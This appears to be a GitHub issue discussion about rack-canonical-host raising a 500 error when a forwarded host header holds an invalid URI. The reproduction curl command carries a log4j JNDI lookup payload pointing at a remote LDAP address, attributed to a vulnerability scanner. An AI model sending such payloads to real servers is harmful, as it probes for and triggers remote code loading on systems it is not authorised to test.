Handle invalid URIs

[G-Rath]

We've had a few events in our error monitoring due to an automatic scanner checking for log4j vulnerabilities using X-Forwarded-For:

❯ curl -ikH 'X-Forwarded-Host: [${jndi:ldap://172.16.26.190:52314/nessus}]/' example.com
HTTP/2 500
date: Tue, 12 Mar 2024 19:37:44 GMT
content-length: 77
server: nginx

An unhandled lowlevel error occurred. The application logs may have details.

This happens because this request_uri does not handle the URI being invalid:

rack-canonical-host/lib/rack/canonical_host/redirect.rb

Lines 86 to 88 in 134f76f

	def request_uri
	@request_uri ||= Addressable::URI.parse(Rack::Request.new(env).url)
	end

I think instead what should probably happen is that the error is caught and the request considered not canonical (thus triggering a redirect) since implicitly the canonical URL must be a valid URI so whatever the requests current url is cannot be canonical.

I'm happy to have a go at a PR for this if folks agree it should be addressed here

[ryanfb]

Would changing the patch in #64 to simply return false when Addressable::URI::InvalidURIError is raised inside canonical? cause it to return a redirect?

[tylerhunt]

The problem with returning false from #canonical? is that the URL rewriting will also fail with Addressable::URI::InvalidURIError.

If the request is for an invalid URL, I'm not sure how this should be handled, since we won't be able to properly identify the correct scheme or path.

One way that I've looked at handling this is to ignore the X-Forwarded-For/Forwarded headers, but I don't claim to fully understand what the security implications of doing so might be.

It seems to me the safest approach is to simply continue to have invalid requests result in a 500 error. If you need different behavior, maybe a separate middleware to handle a redirect to a known-safe URL if the requested URL is invalid would be appropriate.

[G-Rath]

since we won't be able to properly identify the correct scheme or path.

Rack seems to be able to without issue:

(and .scheme works too).

I could be wrong but I think this should be fine to handle because these should all be coming from headers and they always (?) split the scheme and address, and never (?) have the path itself (that comes from the request uri which must always be valid otherwise the request could never have been made in the first place)

i.e. Host takes <host>:<port> (no scheme), X-Forwarded-For is meant to have just the IP (and there's -Host, -Proto, and -Port separately), and Forwarded has the host (which is the same as the Host header - so just <host>:<port>) and proto as separate fields.

However I understand it can still feel like thin ice - I think otherwise a 4xx should be returned rather than a 500 because the issue is on the clients side (and that matches at least what ALB and CloudFlare do - they return 400s)